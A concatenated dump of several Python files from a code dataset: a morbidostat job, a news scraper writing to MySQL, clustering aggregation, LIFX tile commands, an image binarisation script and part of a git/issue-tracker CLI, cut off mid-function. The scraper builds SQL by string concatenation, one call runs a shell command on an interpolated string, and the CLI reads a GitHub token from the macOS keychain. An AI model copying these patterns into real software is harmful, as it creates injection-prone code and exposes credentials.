self.verbose = verbose\n self.latest_alt_media_fraction = self.get_initial_alt_media_fraction()\n self.start_passive_listeners()\n\n def on_io_event(self, message):\n payload = json.loads(message.payload)\n volume, event = float(payload[\"volume_change\"]), payload[\"event\"]\n if event == \"add_media\":\n self.update_alt_media_fraction(volume, 0)\n elif event == \"add_alt_media\":\n self.update_alt_media_fraction(0, volume)\n elif event == \"remove_waste\":\n pass\n else:\n raise ValueError(\"Unknown event type\")\n\n def update_alt_media_fraction(self, media_delta, alt_media_delta):\n\n total_delta = media_delta + alt_media_delta\n\n # current mL\n alt_media_ml = VIAL_VOLUME * self.latest_alt_media_fraction\n media_ml = VIAL_VOLUME * (1 - self.latest_alt_media_fraction)\n\n # remove\n alt_media_ml = alt_media_ml * (1 - total_delta / VIAL_VOLUME)\n media_ml = media_ml * (1 - total_delta / VIAL_VOLUME)\n\n # add (alt) media\n alt_media_ml = alt_media_ml + alt_media_delta\n media_ml = media_ml + media_delta\n\n self.latest_alt_media_fraction = alt_media_ml / VIAL_VOLUME\n\n publish(\n f\"morbidostat/{self.unit}/{self.experiment}/{JOB_NAME}/alt_media_fraction\",\n self.latest_alt_media_fraction,\n verbose=self.verbose,\n retain=True,\n qos=QOS.EXACTLY_ONCE,\n )\n\n return self.latest_alt_media_fraction\n\n def get_initial_alt_media_fraction(self) -> float:\n \"\"\"\n This is a hack to use a timeout (not available in paho-mqtt) to\n see if a value is present in the MQTT cache (retained message)\n\n TODO: replace\n \"\"\"\n test_mqtt = subprocess.run(\n [\n f'mosquitto_sub -t \"morbidostat/{self.unit}/{self.experiment}/{JOB_NAME}/alt_media_fraction\" -W 3 -h {leader_hostname}'\n ],\n shell=True,\n capture_output=True,\n universal_newlines=True,\n )\n if test_mqtt.stdout == \"\":\n return 0.0\n else:\n return float(test_mqtt.stdout.strip())\n\n def start_passive_listeners(self) -> None:\n subscribe_and_callback(\n callback=self.on_io_event, topics=f\"morbidostat/{self.unit}/{self.experiment}/io_events\", qos=QOS.EXACTLY_ONCE\n )\n","sub_path":"morbidostat/background_jobs/subjobs/alt_media_calculating.py","file_name":"alt_media_calculating.py","file_ext":"py","file_size_in_byte":3461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"522431804","text":"import json\nimport pymysql\nimport datetime\nimport urllib2\nimport urllib\nfrom bosonnlp import BosonNLP\nimport traceback\nimport codecs\n\n\nclass sqlConnect(object):\n\tlocalflag = False\n\tlocalpath = \"D:/SEBASE/news/spider/\"\n\tserverpath = \"/var/www/html/\"\n\n\tdef __init__(self, school, cntlimit):\n\t\tsuper(sqlConnect, self).__init__()\n\t\tself._val = {}\n\t\twith open('variable.ini', 'r') as df:\n\t\t\tfor kv in [d.strip().split('=') for d in df]:\n\t\t\t\tself._val[kv[0]] = kv[1]\n\t\tself._conn = pymysql.connect(\n\t\t\thost = self._val['host'],\n\t\t\tport = (int)(self._val['port']),\n\t\t\tuser = self._val['user'],\n\t\t\tpasswd = self._val['passwd'],\n\t\t\tdb = 'news',\n\t\t\tcharset = 'utf8'\n\t\t)\n\t\tself._school = school\n\t\tself._cntlimit = cntlimit\n\t\tself._avai = []\n\t\tself._date = []\n\t\tself._title = []\n\t\tself._contextUrl = []\n\t\tself._context = []\n\t\tself._imgUrl = []\n\t\tself._serverprefix = self._val['serverprefix']\n\n\t@property\n\tdef date(self):\n\t\treturn self._date\n\t@date.setter\n\tdef date(self, value):\n\t\tself._date = value[0 : self._cntlimit]\n\n\n\t@property\n\tdef title(self):\n\t\treturn self\n\t@title.setter\n\tdef title(self, value):\n\t\tself._title = value\n\n\t\tself._avai = []\n\t\tcur = self._conn.cursor()\n\t\tcur.execute(\"SELECT MAX(Time_stamp) FROM `data` WHERE School = %s\", (self._school,))\n\t\tres = cur.fetchall()\n\t\tmaxdate = datetime.date(2000, 1, 1) if (len(res) == 0 or type(res[0][0]).__name__ == 'NoneType') else res[0][0]\n\t\t#print maxdate\n\t\tfor idx, dt in enumerate(self._date):\n\t\t\ttup = dt.split('-')\n\t\t\tcurdate = datetime.date(int(tup[0]), int(tup[1]), int(tup[2]))\n\t\t\tif(curdate > maxdate) :\n\t\t\t\tself._avai.append(idx)\n\t\t\telif(curdate == maxdate) :\n\t\t\t\tsql = \"SELECT * FROM `data` WHERE School = %s AND Time_stamp = %s AND Title = %s\"\n\t\t\t\tcur.execute(sql, (self._school, str(curdate), self._title[idx]))\n\t\t\t\tres = cur.fetchall()\n\t\t\t\tif(len(res) == 0 or type(res[0][0]).__name__ == 'NoneType') :\n\t\t\t\t\tself._avai.append(idx)\n\t\tcur.close()\n\n\t\t#print self._avai\n\t\tself._title = sqlConnect.selectAvaiElememt(self, self._title)\n\t\t#print self._title\n\t\tself._date = sqlConnect.selectAvaiElememt(self, self._date)\n\n\n\t@property\n\tdef contextUrl(self):\n\t\treturn self._contextUrl\n\t@contextUrl.setter\n\tdef contextUrl(self, value):\n\t\tself._contextUrl = sqlConnect.selectAvaiElememt(self, value)\n\n\n\t@property\n\tdef context(self):\n\t\treturn self._context\n\t@context.setter\n\tdef context(self, value):\n\t\tfor i in range(len(value)) :\n\t\t\tvalue[i] = value[i].replace(' ', '').replace('\\r', '').replace('\\t', '')\n\t\tself._context = value\n\t\tself._abstract = sqlConnect.getAbstract(self, self._context)\n\n\n\t@property\n\tdef imgUrl(self):\n\t\treturn self._imgUrl\n\t@imgUrl.setter\n\tdef imgUrl(self, value):\n\t\tself._imgUrl = value\n\n\n\tdef updateSql(self):\n\t\taudioprefix = \"http://tts.baidu.com/text2audio?lan=zh&ie=UTF-8&spd=2&text=\"\n\n\t\tcur = self._conn.cursor()\n\t\tcur.execute(\"SELECT MAX(ID) FROM `data`\")\n\t\tres = cur.fetchall()\n\t\tmaxid = 0 if (len(res) == 0 or type(res[0][0]).__name__ == 'NoneType') else res[0][0]\n\t\tsql = \"INSERT INTO `data`(Title, Abstract, Context, Imagepath, Audiopath, School, Time_stamp) VALUES\"\n\t\tfor i in range(len(self._date)) :\n\t\t\tmaxid = maxid + 1\n\t\t\tsql = sql + \"('\" + self._title[i] + \"','\" + self._abstract[i] + \"','\" + self._context[i] + \"',\"\n\t\t\ttry :\n\t\t\t\tprint(\"downloading %d.img from %s\" %(maxid, self._school))\n\t\t\t\tpath = (sqlConnect.localpath if sqlConnect.localflag == True else sqlConnect.serverpath) + (\"img/%s/%s.jpg\" %(self._school, maxid))\n\t\t\t\turllib.urlretrieve(self._imgUrl[i], path)\n\t\t\t\tsql = sql + \"'\" + self._serverprefix + \"/img/\" + self._school + \"/\" + str(maxid) + \".jpg'\" + \",\"\n\t\t\texcept :\n\t\t\t\tprint(\"error when downloading %d.img from %s\" %(maxid, self._school))\n\t\t\t\tsql = sql + \"'error'\" + \",\"\n\t\t\ttry :\n\t\t\t\tprint(\"downloading %d.mp3 from %s\" %(maxid, self._school))\n\t\t\t\tencodetext = urllib2.quote(self._abstract[i].encode('utf8'))\n\t\t\t\turl = audioprefix + encodetext\n\t\t\t\tpath = (sqlConnect.localpath if sqlConnect.localflag == True else sqlConnect.serverpath) + (\"audio/%s/%s.mp3\" %(self._school, maxid))\n\t\t\t\turllib.urlretrieve(url, path)\n\t\t\texcept :\n\t\t\t\tprint(\"error when downloading %d.mp3 from %s\" %(maxid, self._school))\n\t\t\tsql = sql + \"'\" + self._serverprefix + \"/audio/\"+ self._school +\"/\" + str(maxid) + \".mp3', '\"+ self._school +\"', DATE('\" + str(self._date[i]) + \"')),\"\n\t\tsql = sql[0 : len(sql) - 1]\n\t\tif(len(self._date) > 0) :\n\t\t\tcur.execute(sql)\n\t\t\tself._conn.commit()\n\t\tcur.close()\n\n\n\tdef mysqlToJson(self):\n\t\tcur = self._conn.cursor()\n\t\tcur.execute(\"SELECT * FROM `data` WHERE context <> 'error' AND abstract <> 'error' AND school = %s ORDER BY Time_stamp DESC\", (self._school,))\n\t\tdata = cur.fetchall()\n\t\tcur.close()\n\t\tjsonsrc = []\n\t\tjsonsrc.append(0)\n\t\tfor news, i in zip(data, range(self._cntlimit)) :\n\t\t\tdic = {}\n\t\t\tdic['id'] = news[0]\n\t\t\tdic['title'] = news[1]\n\t\t\tdic['abstract'] = news[2]\n\t\t\tconsp = news[3].split('\\n')\n\t\t\tdic['context'] = [len(consp), consp]\n\t\t\tdic['imagepath'] = news[4]\n\t\t\tdic['audiopath'] = news[5]\n\t\t\tjsonsrc.append(dic)\n\t\tjsonsrc[0] = len(jsonsrc) - 1\n\t\tjsfile = json.dumps(jsonsrc, ensure_ascii = False)\n\t\tpath = (sqlConnect.localpath if sqlConnect.localflag == True else sqlConnect.serverpath) + \"json/\"+ self._school +\".json\"\n\t\tf = codecs.open(path, 'w+', 'utf-8')\n\t\tf.write(jsfile)\n\t\tself._conn.close()\n\t\tf.close()\n\n\n\tdef selectAvaiElememt(self, src) :\n\t\tret = []\n\t\tfor idx in self._avai :\n\t\t\tret.append(src[idx].encode('utf8'))\n\t\treturn ret\n\n\n\tdef getAbstract(self, allContext) :\n\t\tapitoken = self._val['apitoken']\n\t\tnlp = BosonNLP(apitoken)\n\t\tret = []\n\t\tfor i, text in enumerate(allContext) :\n\t\t\ttry :\n\t\t\t\tprint(\"handling %dth abstract from %s\" %(i + 1, self._school))\n\t\t\t\tresult = nlp.summary('', text, 50)\n\t\t\t\tret.append(result.replace('\\n', '').replace('\\r', '').replace('\\t', '').replace(r'\\n', '').replace(r'\\r','').replace(r'\\t', ''))\n\t\t\texcept :\n\t\t\t\tprint(\"error when handling %dth abstract from %s\" %(i + 1, self._school))\n\t\t\t\tret.append('error')\n\t\t\t\tprint(traceback.print_exc())\n\t\treturn ret","sub_path":"source/sqlConnect.py","file_name":"sqlConnect.py","file_ext":"py","file_size_in_byte":5933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"197300384","text":"import pandas as pd\nimport numpy as np\n\n\ndef cluster_aggregation(clustering_results):\n \"\"\"\n Applies clustering aggregation to the results of many\n clustering algorithms over a set of observations\n\n :param clustering_results: DataFrame with cluster results in columns, \n with observations as rows\n :rtype clustering_results: Pandas DataFrame\n :return: Pandas Series with the result of clustering aggregation\n \"\"\"\n data = clustering_results\n rows,cols = data.shape\n\n # Stores the disagreement distance between\n # clustering algorithms, and pair-wise objects\n I = np.zeros((cols,cols, rows, rows))\n D = np.zeros((cols,cols))\n\n # Iterate each pair of clustering algorithm\n for C in range(cols):\n for P in range(C, cols):\n # Comparing the same two clusters,\n # disagreement will be zero\n if (C == P):\n I[C,P,:,:] = 0\n I[P,C,:,:] = 0\n continue\n else:\n\n # Iterate over pairs of rows\n for i in range(rows):\n for j in range(i, rows):\n #print(C,P,i,j)\n if ( (data.iloc[i,C] == data.iloc[j,C]) \n and (data.iloc[i,P] != data.iloc[j,P]) ) or \\\n ( (data.iloc[i,C] != data.iloc[j,C]) \n and (data.iloc[i,P] == data.iloc[j,P]) ):\n I[C,P,i,j] = 1\n else:\n I[C,P,i,j] = 0\n\n # Symmetric values \n I[C,P,j,i] = I[C,P,i,j] # Opposite rows are the same distance\n I[P,C,i,j] = I[C,P,i,j] # Opposite clusters are the same\n I[P,C,j,i] = I[C,P,i,j] # Opposite clusters and opposite row\n\n ## Disagreement distance\n D[C,P] = np.sum(I[C,P,:,:])\n D[P,C] = D[C,P]\n \n ## Given m clustering C1,C2,...,Cm; find C such that:\n # D(C) = sum_m[ D(C,Ci) ] is minimized\n result = pd.DataFrame(data = D, index = data.columns, columns=data.columns)\n print(result)\n\n print(result.sum(axis=0))\n\n idx_best_cluster = result.sum(axis=0).argmin()\n print(\"\\nCluster Min Distance:\", \\\n result.columns[idx_best_cluster],\\\n \"with distance\", result.sum(axis=0).min()\n )\n \n print(\"\\nFinal array\")\n best_cluster = pd.Series(data = data.iloc[:,idx_best_cluster], name = str(\"BEST_CLUST=\"+str(idx_best_cluster)))\n print(data.join(best_cluster))\n\n return result\n\n\nif __name__ == \"__main__\": \n clusters = 3\n observations = 10\n algorithms = 4\n\n clust_labels = [str(\"ClustAlg_\"+str(i+1)) for i in range(algorithms)]\n clustering_results = clusters * np.random.rand(observations, algorithms)\n\n data = pd.DataFrame(data=clustering_results, columns=clust_labels).astype(int)\n print(data)\n print(\"\\n\\n\")\n cluster_aggregation(data)","sub_path":"src/clustering/clustering_aggregation.py","file_name":"clustering_aggregation.py","file_ext":"py","file_size_in_byte":3021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"463672008","text":"\"\"\"\n.. autofunction:: photons_control.tile.tiles_from\n\"\"\"\nfrom photons_control.orientation import nearest_orientation\n\nfrom photons_app.errors import PhotonsAppError\nfrom photons_app.actions import an_action\n\nfrom photons_messages import TileMessages, TileEffectType\nfrom photons_colour import Parser\n\nfrom input_algorithms.errors import BadSpecValue\nfrom input_algorithms import spec_base as sb\nfrom input_algorithms.meta import Meta\nfrom collections import defaultdict\n\ndef tiles_from(state_pkt):\n \"\"\"\n Given a Tile State packet, return the tile devices that are valid.\n\n This works by taking into account ``tile_devices_count`` and ``start_index``\n on the packet.\n \"\"\"\n amount = state_pkt.tile_devices_count - state_pkt.start_index\n return state_pkt.tile_devices[:amount]\n\ndef orientations_from(pkt):\n orientations = {}\n for i, tile in enumerate(tiles_from(pkt)):\n orientations[i] = nearest_orientation(tile.accel_meas_x, tile.accel_meas_y, tile.accel_meas_z)\n return orientations\n\n@an_action(needs_target=True, special_reference=True)\nasync def get_device_chain(collector, target, reference, **kwargs):\n \"\"\"\n Get the devices in your chain\n \"\"\"\n async for pkt, _, _ in target.script(TileMessages.GetDeviceChain()).run_with(reference):\n if pkt | TileMessages.StateDeviceChain:\n print(pkt.serial)\n for tile in tiles_from(pkt):\n print(\" \", repr(tile))\n\n@an_action(needs_target=True, special_reference=True)\nasync def get_chain_state(collector, target, reference, **kwargs):\n \"\"\"\n Get the colors of the tiles in your chain\n \"\"\"\n options = collector.configuration['photons_app'].extra_as_json\n\n missing = []\n for field in TileMessages.Get64.Payload.Meta.all_names:\n if field not in options and field not in (\"reserved6\", ):\n missing.append(field)\n\n if missing:\n raise PhotonsAppError(\"Missing options for the GetTileState message\", missing=missing)\n\n response_kls = TileMessages.State64\n\n got = defaultdict(list)\n\n msg = TileMessages.Get64.empty_normalise(**options)\n\n async for pkt, _, _ in target.script(msg).run_with(reference):\n if pkt | response_kls:\n got[pkt.serial].append((pkt.tile_index, pkt))\n\n for serial, states in got.items():\n print(serial)\n for i, state in sorted(states):\n print(\" Tile {0}\".format(i))\n for index, color in enumerate(pkt.colors):\n print(\" color {0}\".format(index), repr(color))\n print(\"\")\n\n@an_action(needs_target=True, special_reference=True)\nasync def tile_effect(collector, target, reference, artifact, **kwargs):\n \"\"\"\n Set an animation on your tile!\n\n ``lan:tile_effect d073d5000001 -- '{}'``\n\n Where type is one of the available effect types:\n\n OFF\n Turn of the animation off\n\n MOVE\n No supported on tile\n\n MORPH\n Move through a perlin noise map, assigning pixel values from a\n 16-color palette\n\n FLAME\n Behaviour TBD\n\n RIPPLE\n Behaviour TBD\n\n For effects that take in a palette option, you may specify palette as\n ``[{\"hue\": 0, \"saturation\": 1, \"brightness\": 1, \"kelvin\": 2500}, ...]``\n\n or as ``[[0, 1, 1, 2500], ...]`` or as ``[[0, 1, 1], ...]``\n\n or as ``[\"red\", \"hue:100 saturation:1\", \"blue\"]``\n \"\"\"\n if artifact in (\"\", None, sb.NotSpecified):\n raise PhotonsAppError(\"Please specify type of effect with --artifact\")\n\n typ = None\n for e in TileEffectType:\n if e.name.lower() == artifact.lower():\n typ = e\n break\n\n if typ is None:\n available = [e.name for e in TileEffectType]\n raise PhotonsAppError(\"Please specify a valid type\", wanted=artifact, available=available)\n\n options = collector.configuration[\"photons_app\"].extra_as_json or {}\n\n options[\"type\"] = typ\n if \"palette\" not in options:\n options[\"palette\"] = [\n {\"hue\": hue, \"brightness\": 1, \"saturation\": 1, \"kelvin\": 3500}\n for hue in [0, 40, 60, 122, 239, 271, 294]\n ]\n\n if typ is not TileEffectType.OFF:\n if len(options[\"palette\"]) > 16:\n raise PhotonsAppError(\"Palette can only be up to 16 colors\", got=len(options[\"palette\"]))\n\n palette = []\n for thing in options[\"palette\"]:\n if type(thing) is list:\n if len(thing) == 3:\n thing.append(2500)\n palette.append({\"hue\": thing[0], \"saturation\": thing[1], \"brightness\": thing[2], \"kelvin\": thing[3]})\n elif type(thing) is str:\n h, s, b, k = Parser.hsbk(thing, {\"brightness\": 1})\n palette.append({\"hue\": h or 0, \"saturation\": s or 1, \"brightness\": b or 1, \"kelvin\": k or 3500})\n else:\n palette.append(thing)\n\n options[\"palette\"] = palette\n\n options[\"palette_count\"] = len(options[\"palette\"])\n options[\"res_required\"] = False\n msg = TileMessages.SetTileEffect.empty_normalise(**options)\n await target.script(msg).run_with_all(reference)\n\nclass list_spec(sb.Spec):\n def setup(self, *specs):\n self.specs = specs\n\n def normalise(self, meta, val):\n if type(val) not in (tuple, list):\n raise BadSpecValue(\"Expected a list\", got=type(val), meta=meta)\n\n if len(val) != len(self.specs):\n raise BadSpecValue(\"Expected a value with certain number of items\", wanted=len(self.specs), got=len(val), meta=meta)\n\n res = []\n for i, v in enumerate(val):\n res.append(self.specs[i].normalise(meta.indexed_at(i), v))\n\n return res\n\n@an_action(needs_target=True, special_reference=True)\nasync def set_chain_state(collector, target, reference, artifact, **kwargs):\n \"\"\"\n Set the state of colors on your tile\n\n ``lan:set_chain_state d073d5f09124 -- '{\"colors\": [[[0, 0, 0, 3500], [0, 0, 0, 3500], ...], [[0, 0, 1, 3500], ...], ...], \"tile_index\": 1, \"length\": 1, \"x\": 0, \"y\": 0, \"width\": 8}'``\n\n Where the colors is a grid of 8 rows of 8 ``[h, s, b, k]`` values.\n \"\"\"\n options = collector.configuration[\"photons_app\"].extra_as_json\n\n if \"colors\" in options:\n spec = sb.listof(sb.listof(list_spec(sb.integer_spec(), sb.float_spec(), sb.float_spec(), sb.integer_spec())))\n colors = spec.normalise(Meta.empty().at(\"colors\"), options[\"colors\"])\n\n row_lengths = [len(row) for row in colors]\n if len(set(row_lengths)) != 1:\n raise PhotonsAppError(\"Please specify colors as a grid with the same length rows\", got=row_lengths)\n\n num_cells = sum(len(row) for row in colors)\n if num_cells != 64:\n raise PhotonsAppError(\"Please specify 64 colors\", got=num_cells)\n\n cells = []\n for row in colors:\n for col in row:\n cells.append({\"hue\": col[0], \"saturation\": col[1], \"brightness\": col[2], \"kelvin\": col[3]})\n\n options[\"colors\"] = cells\n else:\n raise PhotonsAppError(\"Please specify colors in options after -- as a grid of [h, s, b, k]\")\n\n missing = []\n for field in TileMessages.Set64.Payload.Meta.all_names:\n if field not in options and field not in (\"duration\", \"reserved6\"):\n missing.append(field)\n\n if missing:\n raise PhotonsAppError(\"Missing options for the SetTileState message\", missing=missing)\n\n options[\"res_required\"] = False\n msg = TileMessages.Set64.empty_normalise(**options)\n await target.script(msg).run_with_all(reference)\n\n@an_action(needs_target=True, special_reference=True)\nasync def set_tile_positions(collector, target, reference, **kwargs):\n \"\"\"\n Set the positions of the tiles in your chain.\n\n ``lan:set_tile_positions d073d5f09124 -- '[[0, 0], [-1, 0], [-1, 1]]'``\n \"\"\"\n extra = collector.configuration[\"photons_app\"].extra_as_json\n positions = sb.listof(sb.listof(sb.float_spec())).normalise(Meta.empty(), extra)\n if any(len(position) != 2 for position in positions):\n raise PhotonsAppError(\"Please enter positions as a list of two item lists of user_x, user_y\")\n\n async with target.session() as afr:\n for i, (user_x, user_y) in enumerate(positions):\n msg = TileMessages.SetUserPosition(tile_index=i, user_x=user_x, user_y=user_y, res_required=False)\n await target.script(msg).run_with_all(reference, afr)\n\n@an_action(needs_target=True, special_reference=True)\nasync def get_tile_positions(collector, target, reference, **kwargs):\n \"\"\"\n Get the positions of the tiles in your chain.\n\n ``lan:get_tile_positions d073d5f09124``\n \"\"\"\n async for pkt, _, _ in target.script(TileMessages.GetDeviceChain()).run_with(reference):\n print(pkt.serial)\n for tile in tiles_from(pkt):\n print(f\"\\tuser_x: {tile.user_x}, user_y: {tile.user_y}\")\n print(\"\")\n","sub_path":"photons_control/tile.py","file_name":"tile.py","file_ext":"py","file_size_in_byte":8888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"224662681","text":"#! /usr/bin/env python3\r\n\r\n##########################################################\r\n# This code takes in grayscale edge-detected images and #\r\n# returns binary masked objects for use in validating #\r\n# our neural network. #\r\n##########################################################\r\n\r\nimport numpy as np\r\nfrom scipy import ndimage\r\nfrom PIL import Image\r\nimport matplotlib.pyplot as plt\r\n\r\ndef MakeValidationImage(filepath, filename):\r\n def rgb2gray(rgb):\r\n return np.dot(rgb[...,:3], [0.299, 0.587, 0.114])\r\n \r\n threshold = 24\r\n \r\n # Read in the image data.\r\n img = ndimage.imread(filepath + filename + '.png')\r\n \r\n if img.ndim > 2:\r\n img = rgb2gray(img)\r\n \r\n print(img.shape)\r\n \r\n # Create a mask for all indices where the grayscale values \r\n # are above the chosen threshold.\r\n mask = img > threshold\r\n \r\n # Apply the mask to the image.\r\n img[~mask] = 0\r\n img[mask] = 255\r\n \r\n # Create filter array for removal of spurious isolated 8-connected pixels.\r\n A = np.array(81*[0])\r\n A[0:81:10] = 1\r\n A[4:81:9] = 1 # Set center pixels to one.\r\n \r\n # Split the array A into 9 filter vectors of the same length.\r\n filters = np.array(np.split(A,9))\r\n \r\n # Reshape the individual filters to apply them to the binary image. This loop removes\r\n # all spurious isolated 8-connected pixels.\r\n for i in range(9):\r\n Ifilter = filters[i].reshape((3,3))\r\n hitormiss = ndimage.morphology.binary_hit_or_miss(img, Ifilter).astype('bool')\r\n img[hitormiss] = 0\r\n \r\n # Perform an opening with 8-connected pixels.\r\n for i in range(9):\r\n Dfilter = filters[i].reshape((3,3))\r\n img = ndimage.morphology.binary_dilation(img, Dfilter, iterations=2).astype(img.dtype)\r\n img = ndimage.morphology.binary_erosion(img, Dfilter,iterations=2).astype(img.dtype)\r\n \r\n # Again remove spurious isolated 8-connected pixels.\r\n for i in range(9):\r\n Ifilter = filters[i].reshape((3,3))\r\n hitormiss = ndimage.morphology.binary_hit_or_miss(img, Ifilter).astype('bool')\r\n img[hitormiss] = 0\r\n \r\n # Close holes smaller than 3x3.\r\n img = ndimage.morphology.binary_closing(img, np.ones((3,3)), iterations = 1).astype(img.dtype)\r\n \r\n # Save the output as an image.\r\n outfile = Image.fromarray(255*img)\r\n outfile = outfile.convert('RGB')\r\n outfile.save(filepath + 'TestingSet/NewObjects/' + filename + '_binary.png')\r\n\r\n plt.imshow(img, cmap = 'gray')\r\n plt.show()\r\n\r\nfilepath = 'D:/MATH651/MATH-651-Project/'\r\nfilename = 'validation_objects'\r\nMakeValidationImage(filepath, filename)\r\n","sub_path":"Code/MakeBinaryValidationSet.py","file_name":"MakeBinaryValidationSet.py","file_ext":"py","file_size_in_byte":2705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"631980848","text":"import os\nimport re\nimport glob\nimport configparser\n\nimport click\nimport github3\nimport keyring\nimport pygit2\nfrom giturlparse import parse as giturlparse\n\nfrom . import __version__\nfrom .settings import load_config, USER_CONFIG, LOCAL_CONFIG, PROJECT_CONFIG\nfrom .git import SlugBranchGetter\nfrom .base import Lancet, WarnIntegrationHelper, ShellIntegrationHelper\nfrom .utils import taskstatus\n\n\nCONTEXT_SETTINGS = dict(help_option_names=['-h', '--help'])\n\n\ndef get_issue(lancet, key=None):\n with taskstatus('Looking up issue on the issue tracker') as ts:\n issue = lancet.get_issue(key)\n summary = issue.fields.summary\n crop = len(summary) > 40\n if crop:\n summary = summary[:40] + '...'\n ts.ok('Retrieved issue {}: {}'.format(issue.key, summary))\n return issue\n\n\ndef get_transition(ctx, lancet, issue, to_status):\n current_status = issue.fields.status.name\n if current_status != to_status:\n transitions = [t['id'] for t in lancet.tracker.transitions(issue)\n if t['to']['name'] == to_status]\n if not transitions:\n click.secho(\n 'No transition from \"{}\" to \"{}\" found, aborting.'\n .format(current_status, to_status),\n fg='red', bold=True\n )\n ctx.exit(1)\n elif len(transitions) > 1:\n click.secho(\n 'Multiple transitions found from \"{}\" to \"{}\", aborting.'\n .format(current_status, to_status),\n fg='red', bold=True\n )\n ctx.exit(1)\n else:\n transition_id = transitions[0]\n else:\n transition_id = None\n return transition_id\n\n\ndef assign_issue(lancet, issue, username, active_status=None):\n with taskstatus('Assigning issue to you') as ts:\n assignee = issue.fields.assignee\n if not assignee or assignee.key != username:\n if issue.fields.status.name == active_status:\n ts.abort('Issue already active and not assigned to you')\n else:\n lancet.tracker.assign_issue(issue, username)\n ts.ok('Issue assigned to you')\n else:\n ts.ok('Issue already assigned to you')\n\n\ndef set_issue_status(lancet, issue, to_status, transition):\n with taskstatus('Setting issue status to \"{}\"'.format(to_status)) as ts:\n if transition is not None:\n lancet.tracker.transition_issue(issue, transition)\n ts.ok('Issue status set to \"{}\"'.format(to_status))\n else:\n ts.ok('Issue already \"{}\"'.format(to_status))\n\n\ndef setup_helper(ctx, param, value):\n if not value or ctx.resilient_parsing:\n return\n base = os.path.abspath(os.path.dirname(__file__))\n helper = os.path.join(base, 'helper.sh')\n with open(helper) as fh:\n click.echo(fh.read())\n ctx.exit()\n\n\ndef get_credentials_for_remote(remote):\n if not remote:\n return\n p = giturlparse(remote.url)\n remote_username = p._user\n\n if p.protocol == 'ssh':\n credentials = pygit2.KeypairFromAgent(remote_username)\n elif p.protocol == 'https':\n # TODO: What if this fails? (platform, pwd not stored,...)\n try:\n import subprocess\n out = subprocess.check_output([\n 'security', 'find-internet-password',\n '-r', 'htps',\n '-s', 'github.com',\n ])\n match = re.search(rb'\"acct\"=\"([0-9a-f]+)\"', out)\n token = match.group(1)\n except:\n raise NotImplementedError('No authentication support.')\n credentials = pygit2.UserPass('x-oauth-basic', token)\n\n return credentials\n\n\ndef get_branch(lancet, issue, base_branch=None, create=True):\n if not base_branch:\n base_branch = lancet.config.get('repository', 'base_branch')\n remote_name = lancet.config.get('repository', 'remote_name')\n\n remote = lancet.repo.lookup_remote(remote_name)\n credentials = get_credentials_for_remote(remote)\n\n branch_getter = SlugBranchGetter(base_branch, credentials, remote_name)\n\n return branch_getter(lancet.repo, issue, create=create)\n\n\n@click.group(context_settings=CONTEXT_SETTINGS)\n@click.version_option(version=__version__, message='%(prog)s %(version)s')\n@click.option('--setup-helper', callback=setup_helper, is_flag=True,\n expose_value=False, is_eager=True,\n help='Print the shell integration code and exit.')\n@click.pass_context\ndef main(ctx):\n # TODO: Enable this using a command line switch\n # import logging\n # logging.basicConfig(level=logging.DEBUG)\n\n try:\n integration_helper = ShellIntegrationHelper(\n os.environ['LANCET_SHELL_HELPER'])\n except KeyError:\n integration_helper = WarnIntegrationHelper()\n\n if os.path.exists(PROJECT_CONFIG):\n config = load_config(PROJECT_CONFIG)\n else:\n config = load_config()\n\n ctx.obj = Lancet(config, integration_helper)\n ctx.obj.call_on_close = ctx.call_on_close\n\n ctx.call_on_close(integration_helper.close)\n\n\n@click.command()\n@click.option('-k', '--key', 'method', flag_value='key', default=True)\n@click.option('-d', '--dir', 'method', flag_value='dir')\n@click.argument('project')\n@click.pass_obj\ndef activate(lancet, method, project):\n \"\"\"Switch to this project.\"\"\"\n workspace = os.path.expanduser(lancet.config.get('lancet', 'workspace'))\n project_path = None\n\n with taskstatus('Looking up project') as ts:\n if method == 'key':\n config_files = glob.glob(\n os.path.join(workspace, '*', LOCAL_CONFIG))\n\n for path in config_files:\n config = load_config(path)\n key = config.get('tracker', 'default_project', fallback=None)\n\n if key.lower() == project.lower():\n project_path = os.path.dirname(path)\n elif method == 'dir':\n project_path = os.path.join(workspace, project)\n\n if not project_path or not os.path.exists(project_path):\n ts.abort('Project \"{}\" not found (using {}-based lookup)',\n project, method)\n\n # Load the configuration\n config = load_config(os.path.join(project_path, LOCAL_CONFIG))\n\n # cd to the project directory\n lancet.defer_to_shell('cd', project_path)\n\n # Activate virtualenv\n venv = config.get('lancet', 'virtualenv', fallback=None)\n if venv:\n venv_path = os.path.join(project_path, os.path.expanduser(venv))\n activate_script = os.path.join(venv_path, 'bin', 'activate')\n lancet.defer_to_shell('source', activate_script)\n else:\n if 'VIRTUAL_ENV' in os.environ:\n lancet.defer_to_shell('deactivate')\n\nmain.add_command(activate)\n\n\n@click.command()\n@click.option('--base', '-b', 'base_branch')\n@click.argument('issue')\n@click.pass_context\ndef workon(ctx, issue, base_branch):\n \"\"\"\n Start work on a given issue.\n\n This command retrieves the issue from the issue tracker, creates and checks\n out a new aptly-named branch, puts the issue in the configured active,\n status, assigns it to you and starts a correctly linked Harvest timer.\n\n If a branch with the same name as the one to be created already exists, it\n is checked out instead. Variations in the branch name occuring after the\n issue ID are accounted for and the branch renamed to match the new issue\n summary.\n\n If the `default_project` directive is correctly configured, it is enough to\n give the issue ID (instead of the full project prefix + issue ID).\n \"\"\"\n lancet = ctx.obj\n\n username = lancet.config.get('tracker', 'username')\n active_status = lancet.config.get('tracker', 'active_status')\n if not base_branch:\n base_branch = lancet.config.get('repository', 'base_branch')\n\n # Get the issue\n issue = get_issue(lancet, issue)\n\n # Get the working branch\n branch = get_branch(lancet, issue, base_branch)\n\n # Make sure the issue is in a correct status\n transition = get_transition(ctx, lancet, issue, active_status)\n\n # Make sure the issue is assigned to us\n assign_issue(lancet, issue, username, active_status)\n\n # Activate environment\n set_issue_status(lancet, issue, active_status, transition)\n\n with taskstatus('Checking out working branch') as ts:\n lancet.repo.checkout(branch.name)\n ts.ok('Checked out working branch based on \"{}\"'.format(base_branch))\n\n with 